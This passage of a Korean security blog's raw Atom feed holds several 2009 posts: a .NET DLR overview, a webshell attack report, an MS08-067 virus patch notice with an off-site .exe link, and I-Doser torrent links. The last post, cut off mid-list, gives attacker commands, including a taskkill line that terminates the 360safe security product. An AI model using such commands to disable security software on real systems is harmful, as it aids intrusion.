style=";font-family:arial;font-size:85%;"  &gt;tree representation, the DLR can look at the tree and generate CLR code from that tree for actual execution. Parsing&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;dynamic code into an expression tree and then building the CLR is an expensive operation, so the DLR employs a&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;performance technique known as Call Site Caching to avoid having to "recompile" the dynamic code each time it's&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;called. Dynamic Dispatch ensures that appropriate Language Binders are used for dynamic invocations.&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;Language Binders, which make up the third layer, are language-specific implementations of certain operations the&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;Dynamic Language Runtime needs to understand about each language that wishes to participate in the DLR.&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;Of course, the DLR is far more detailed than this brief overview can provide. For more information on all of its&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;intricacies, please watch Jim Hugunin's PDC talk on Dynamic Languages in .NET.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-3044089002887510060?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/3044089002887510060/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/02/future-of-net-languages.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/3044089002887510060'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/3044089002887510060'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/02/future-of-net-languages.html' title='The Future of .NET Languages'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-6305571307858860409</id><published>2009-02-22T04:58:00.000-08:00</published><updated>2009-02-22T05:00:00.431-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Surprise'/><title type='text'>고양이보다 큰 ‘슈퍼쥐’ 잡혀</title><content type='html'>&lt;table style="font-family: arial;" width="100%" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td height="46"&gt;&lt;p align="center"&gt;&lt;span class="t00"&gt;고양이보다 큰 ‘슈퍼쥐’ 잡혀&lt;/span&gt;&lt;/p&gt;                     &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td height="12"&gt;&lt;br /&gt;&lt;/td&gt;     &lt;/tr&gt;    &lt;tr&gt;         &lt;td style="" class="read_body"&gt;&lt;span id="read_body"&gt;&lt;p&gt; &lt;/p&gt;&lt;center&gt;&lt;img style="cursor: pointer;" src="http://file.dkbnews.com/userdatab/2a/768/news/578_4efdd2f969559e8b1c92e99f32ded48e.jpg" border="1" hspace="0" /&gt;&lt;/center&gt;  &lt;p align="center"&gt;▲ 슈퍼쥐를 잡은 셴 씨의 모습 &lt;/p&gt; &lt;p&gt; &lt;/p&gt;&lt;center&gt;&lt;br /&gt; 중국에서 고양이보다 큰 '슈퍼쥐'가 잡혀 화제가 되고 있다. 지난 15일, 중국 푸젠(福建)성 푸저우(福州)시의 한 마을에 사는 셴(鲜) 씨는 우연히 이웃동네를 지나다가 사람들에게 둘러싸인 큰쥐를 발견했다.&lt;br /&gt;&lt;br /&gt;&lt;/center&gt; &lt;p&gt; 당시 큰쥐는 바닥을 천천히 기어가고 있었고, 구경꾼들은 초대형 쥐의 출현에 어쩔줄 몰라 가만히 지켜보고만 있었다. 하지만 셴 씨는 언듯 보기에 생김새가 집에서 기르는 토끼와도 같고, 그 크기가 고양이보다 커 보통 쥐는 아닐 것이란 생각에 문제의 쥐를 잡아 집으로 돌아왔다.&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; 집으로 돌아온 셴 씨는 바로 쥐를 자세히 살펴봤는데 쥐의 꼬리는 30cm가 넘었고, 두께는 성인의 엄지손가락보다 두꺼웠다. 또한 털은 뾰족하게 서있어 마치 쇠가시와 같았고, 입에는 날카로운 2cm가량의 이빨이 나있어 보는이로 하여금 위협감을 줬다.&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; 이후 푸저우시산림청 관계자의 확인 결과 문제의 초대형 쥐는 '대나무쥐'로 밝혀졌으며, 셴 씨와 논의해 대나무쥐를 처리할 방법을 찾고 있는 것으로 전해졌다.&lt;/p&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-6305571307858860409?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/6305571307858860409/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/02/blog-post_22.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/6305571307858860409'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/6305571307858860409'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/02/blog-post_22.html' title='고양이보다 큰 ‘슈퍼쥐’ 잡혀'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-9032383176075309470</id><published>2009-02-18T15:48:00.000-08:00</published><updated>2009-02-18T16:15:32.541-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ETC'/><category scheme='http://www.blogger.com/atom/ns#' term='i-doser'/><title type='text'>i-doser 사이버 마약?</title><content type='html'>&lt;!-- HTML for webware promo --&gt;&lt;span style="font-family:arial;"&gt;&lt;br /&gt;&lt;img src="http://i.d.com.com/i/dl/media/dlimage/12/37/07/123707_medium.jpeg" /&gt;&lt;br /&gt;&lt;br /&gt;The I-Doser application scientifically syncs your brainwaves to achieve a specific mood or experience, as outlined by the dose you are taking. It does this through the use of a binaural beat dose that changes your brainwave patterns to make you feel a certain way. Binaural brainwave doses for every imaginable mood. I-Doser includes two free one-time-use doses: Alcohol and Content. I-Doser uses SbaGen as it's binaural beat engine, and is licensed by Jim Peters.&lt;/span&gt;&lt;p style="font-family: arial;"&gt;Version 4.5 may include unspecified updates, enhancements, or bug fixes.&lt;/p&gt;&lt;p style="font-family: arial;"&gt;Homepage URL : http://www.i-doser.com/&lt;br /&gt;&lt;/p&gt;&lt;span style="font-family:arial;"&gt;&lt;br /&gt;음.. 요즘 &lt;/span&gt;&lt;span style="font-family:arial;"&gt;떠들석한 i-doser 라는 한국에서는 사이버 마약이라고 불린다 ㅍ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;테스트를 하기 위해서 함 받았다&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;아직 테스트는 못 해봤다&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;PPC에서 가능하도록 mp3로 받는 주소&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;밑에 클릭해서 받으세요(torrent 로 받습니다) 사이즈는 1,998,162KB&lt;/span&gt;&lt;br /&gt;&lt;a style="font-family: arial;" href="http://www.torrentdown.com/bbs/download.php?bo_table=dvd_mo_ta&amp;amp;wr_id=32505&amp;amp;no=0%27,%20%27I-Doser.zip.torrent"&gt;Download(다운로드)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;혹시 torrent 프로그램 없으신 분은&lt;br /&gt;&lt;a href="http://download.utorrent.com/1.8.2/utorrent.exe"&gt;utorrent Download&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;확실하게 플레이어까지 제공되는 i-doser 다운은&lt;/span&gt;&lt;br /&gt;&lt;a style="font-family: arial;" href="http://software-files.download.com/sd/vOqOtAAdOq__lpPmFo1f7x7JUNpQGChWCIR82fAkc2sMp5tSY4k2kV_1biAp7ZlzJRGocOEy7l5Rs4b-nTA5WL5EufAyAFVQ/software/10670366/10396009/3/IDoserSetup.exe?lop=link&amp;amp;ptype=1901&amp;amp;ontid=2054&amp;amp;siteId=4&amp;amp;edId=3&amp;amp;spi=efe7397c032345c25488b6845bff0f31&amp;amp;pid=10670366&amp;amp;psid=10396009"&gt;Download(다운로드)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;혹시 위에 주소가 안되면 밑의 주소로 가서 받으세요&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;http://www.download.com/I-Doser/3000-2054_4-10396009.html&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;용량은 7.559KB 입니다&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-9032383176075309470?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/9032383176075309470/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/02/i-doser.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/9032383176075309470'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/9032383176075309470'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/02/i-doser.html' title='i-doser 사이버 마약?'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-1519951184418791541</id><published>2009-02-11T23:52:00.001-08:00</published><updated>2009-02-11T23:54:28.544-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security Patch'/><title type='text'>홈페이지 보안 강화 도구(CASTLE) 보급 안내</title><content type='html'>&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:arial;"&gt;바로 설치해봤는데 깔끔하군요.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;  &lt;table  style="display: inline; border-collapse: collapse;font-family:arial;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size:85%;"&gt;&lt;a set="yes" linkindex="8" href="http://cfs14.tistory.com/original/32/tistory/2009/01/20/15/21/49756d6d3bed6" rel="lightbox" target="_blank"&gt;&lt;img src="http://cfs14.tistory.com/image/32/tistory/2009/01/20/15/21/49756d6d3bed6" alt="" style="cursor: pointer; width: 532px; height: 344px;" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;   &lt;div  style="text-align: left;font-family:arial;"&gt; &lt;div style="border: 1px dashed rgb(193, 193, 193); padding: 10px; background-color: rgb(238, 238, 238);" class="txc-textbox"&gt;&lt;span style="font-size:85%;"&gt; □ CASTLE의 주요기능&lt;br /&gt;o 보안성 강화&lt;br /&gt;- OWASP 10대 주요 취약점 해결&lt;br /&gt;- 소스코드 수준의 웹 어플리케이션 보안성 강화&lt;br /&gt;&lt;br /&gt;o 사용자 편리성 강화&lt;br /&gt;- 관리기능으로 편리한 정책 설정 지원&lt;br /&gt;- 운영 중인 프로그램 소스의 최소 수정으로도 적용 가능&lt;br /&gt;o 높은 호환성 지원&lt;br /&gt;&lt;br /&gt;- 다양한 웹 서버 환경과 웹 어플리케이션에서 동작할 수 있는 호환성 지원&lt;br /&gt;&lt;br /&gt;□ 기대효과&lt;br /&gt;o CASTLE 확산으로 국내 웹 어플리케이션의 보안성 향상&lt;br /&gt;o 개발자들은 개발 단계에서부터 CASTLE 통합적으로 적용하여 보안성 강화&lt;br /&gt;o 서버 관리자들은 편리한 사용과정을 통해 기존 웹 어플리케이션 수정용이&lt;/span&gt;   &lt;/div&gt; &lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;strong&gt;&lt;castle&gt;&lt;/castle&gt;&lt;/strong&gt;&lt;/span&gt; &lt;/div&gt; &lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; 최근 공격자들이 국내 홈페이지를 해킹하여 악성코드 유포 및 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; 개인정보 탈취하는 사례가 지속적으로  발생하고 있습니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; 이에, 한국정보보호진흥원에서는 홈페이지의 보안성을 강화하는 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; "홈페이지 보안 강화도구(CASTLE)"를  배포하고 있습니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; 사용을 희망하는 회사(기관)나 개인 사용자 분들은 아래의 프로그램과 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; 설명서를 다운받아 사용하시기  바랍니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; ○ &lt;/span&gt;&lt;a style="font-family: arial;" set="yes" linkindex="9" href="http://www.krcert.or.kr/castle/Castle_packages.zip"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 0, 255);"&gt;CASTLE 다운로드(ASP, PHP, JSP)&lt;/span&gt;&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; ○ &lt;/span&gt;&lt;a style="font-family: arial;" set="yes" linkindex="10" href="http://www.krcert.or.kr/castle/CASTLE_USER_GUIDE.zip"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 0, 255);"&gt;CASTLE 사용자 설명서 다운로드&lt;/span&gt;&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; ○ &lt;/span&gt;&lt;a style="font-family: arial;" set="yes" linkindex="11" href="http://www.krcert.or.kr/castle/CASTLE_INSTALL_GUIDE.zip"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 0, 255);"&gt;CASTLE 설치 가이드 다운로드&lt;/span&gt;&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; ○ &lt;/span&gt;&lt;a style="font-family: arial;" set="yes" linkindex="12" href="http://www.krcert.or.kr/castle/CASTLE_FAQ.pdf"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 0, 255);"&gt;CASTLE FAQ 다운로드&lt;/span&gt;&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; ○ 문의 및 기술 지원(Tel&lt;/span&gt;&lt;span class="__noscriptOpaqued__" id="callbacknesthackedtistorycom2947751" style="width: 1px; height: 1px; float: right;font-family:arial;" &gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt; :  02-405-5617, EMAIL : &lt;/span&gt;&lt;a style="font-family: arial;" href="mailto:castle@krcert.or.kr"&gt;castle@krcert.or.kr&lt;/a&gt;&lt;span style="font-family:arial;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; ※ CASTLE를  홈페이지에 적용하면, 주요 취약점을 공격하는 침입시도 및 공격코드들을 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; 차단할 수 있습니다. 또한 개발 중이거나, 운영 중인 홈페이지에  약간의 수정을 통해 쉽게 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; 적용 가능하고, 적용 후 CASTLE의 관리 기능으로 손쉽게 관련 정책이나, 설정을 수정할 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; 수 있습니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; 출처 : http://www.krcert.or.kr/index.jsp&lt;/span&gt;&lt;/span&gt; &lt;span style="font-size:85%;"&gt;&lt;a set="yes" linkindex="0" href="http://hacked.tistory.com/"&gt;My Hack3d St0ry&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-1519951184418791541?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/1519951184418791541/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/02/castle.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/1519951184418791541'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/1519951184418791541'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/02/castle.html' title='홈페이지 보안 강화 도구(CASTLE) 보급 안내'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-2316740318527761386</id><published>2009-02-11T23:47:00.000-08:00</published><updated>2009-02-11T23:51:14.610-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking Code'/><title type='text'>국내 크래커 웹쉘 업로드 공격</title><content type='html'>&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:arial;"&gt;최근 저희 관제대역에 심심치 않게 잡히는 웹쉘이 있어 확인해 보니 국내 IP사용자로 아래와 같은 웹쉘을 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; 업로드 하고 있습니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt; &lt;table  style="display: inline; border-collapse: collapse;font-family:arial;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size:85%;"&gt;&lt;a set="yes" linkindex="8" href="http://cfs13.tistory.com/original/31/tistory/2009/02/10/15/53/4991246a4d6f3" rel="lightbox" target="_blank"&gt;&lt;img style="width: 527px; height: 277px;" src="http://cfs13.tistory.com/image/31/tistory/2009/02/10/15/53/4991246a4d6f3" alt="" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="imageblock center"  style="text-align: center; clear: both;font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a linkindex="9" href="http://cfs14.tistory.com/original/33/tistory/2009/02/10/15/53/499124769fb9e" rel="lightbox" target="_blank"&gt;&lt;img src="http://cfs14.tistory.com/image/33/tistory/2009/02/10/15/53/499124769fb9e" alt="" style="cursor: pointer; width: 528px; height: 454px;" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; 웹쉘 소스를 보면 아래와 같습니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt; &lt;div class="imageblock center"  style="text-align: center; clear: both;font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a set="yes" linkindex="10" href="http://cfs13.tistory.com/original/22/tistory/2009/02/10/15/54/4991248b259f6" rel="lightbox" target="_blank"&gt;&lt;img src="http://cfs13.tistory.com/image/22/tistory/2009/02/10/15/54/4991248b259f6" alt="" style="cursor: pointer; width: 531px; height: 509px;" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; 사용중인 ip는 국내 KT 메가패스IP를&lt;/span&gt;&lt;span class="__noscriptOpaqued__" id="callbacknesthackedtistorycom3047491" style="width: 1px; height: 1px; float: right;font-family:arial;" &gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt; 사용중이며 proxy 는 아닌것으로 확인되네요&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;위 웹쉘로 1월말부터 오늘까지 간간히  시도가 있으니 참고하시기 바랍니다.&lt;br /&gt;&lt;br /&gt;출처 : &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;a set="yes" linkindex="0" href="http://hacked.tistory.com/"&gt;My Hack3d St0ry&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-2316740318527761386?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/2316740318527761386/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/02/blog-post_11.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/2316740318527761386'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/2316740318527761386'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/02/blog-post_11.html' title='국내 크래커 웹쉘 업로드 공격'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-8183965476596891391</id><published>2009-02-11T23:43:00.000-08:00</published><updated>2009-02-11T23:46:40.572-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security Patch'/><title type='text'>윈도우 XP 2090 바이러스관련 보안패치 KB958644</title><content type='html'>&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;table  style="display: inline; border-collapse: collapse;font-family:arial;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size:85%;"&gt;&lt;a set="yes" linkindex="8" href="http://cfs11.tistory.com/original/24/tistory/2009/02/11/10/02/499223c31863e" rel="lightbox" target="_blank"&gt;&lt;img style="width: 513px; height: 323px;" src="http://cfs11.tistory.com/image/24/tistory/2009/02/11/10/02/499223c31863e" alt="" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;a style="font-family: arial;" set="yes" linkindex="9" href="http://www.microsoft.com/korea/technet/security/bulletin/ms08-067.mspx" target="_blank"&gt;http://www.microsoft.com/korea/technet/security/bulletin/ms08-067.mspx&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;   &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; MS08-067취약점(08년 10월에 보안 패치 발표)을 이용한 2090 바이러스가 최근&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; 유행하고 있습니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;보안 패치가 안 되어 있을 경우 네트워크 공유, USB등을 통해서 전파가 되며&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; 감염이 될 경우 현재 백신으로 대응이 안 될 경우에는 Windows를 재설치하는 수 밖에&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; 없는 악성 바이러스입니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;증상으로는 Windows의 날짜가 2090년 1월 1일 오전 10시로 바뀌며 Windows 로그인이&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; 불가능하도록 만들어&lt;/span&gt;&lt;span class="__noscriptOpaqued__" id="callbacknesthackedtistorycom3063183" style="width: 1px; height: 1px; float: right;font-family:arial;" &gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt; PC를 전혀 사용할 수 없게 만듭니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;백신 엔진이 업데이트 되어 있는 경우 대응이 가능하나 계속해서 변종이 만들어지는&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; 것으로 추측되며 이 경우 보안 패치가 안 되어 있는 PC는 백신이 설치되어있다고 해도&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; 예방이 불가능합니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; 보안 패치는 자동 업데이트가 설정되어 있는 PC는 이미 설치가 되어 있을 것입니다만&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; 수동으로 패치를 하시는 분은 시작 메뉴의 Windows Update 또는 아래 사이트를 통해서&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; 패치 파일을 받아서 설치하시면 됩니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;  &lt;!--   --&gt; &lt;!-- 본문 글 출력 --&gt; &lt;script&gt; Ser_Year=2009; Ser_Month=02; Ser_Day=11; Ser_Hour=10; Ser_Minute=02; Ser_Second=06; &lt;/script&gt;               &lt;div class="imageblock center"  style="text-align: center; clear: both;font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a linkindex="11" href="http://hacked.tistory.com/attachment/499223fa5a87a9N.exe"&gt;&lt;img src="http://cfs.tistory.com/blog/image/extension/exe.gif" alt="" style="vertical-align: middle;" /&gt; WindowsXP_KB958644_x86_KOR.exe&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;출처 : &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;a set="yes" linkindex="0" href="http://hacked.tistory.com/"&gt;My Hack3d St0ry&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-8183965476596891391?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/8183965476596891391/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/02/xp-2090-kb958644.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/8183965476596891391'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/8183965476596891391'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/02/xp-2090-kb958644.html' title='윈도우 XP 2090 바이러스관련 보안패치 KB958644'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-3088577719101183932</id><published>2009-02-11T23:41:00.000-08:00</published><updated>2009-02-11T23:56:20.645-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security Doc'/><title type='text'>중국 해커들이 자주쓰는 해킹 명령어</title><content type='html'>&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:arial;"&gt;1. ver - 시스템 버전 확인&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;2. tasklist - 사용중인 프로세서 나열&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;3. taskkill - 프로세서를 선별적으로 죽일수 있다.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;                 사용법: taskkill /f /im 360safe.exe 혹은 taskkill /f /pid 3389&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span 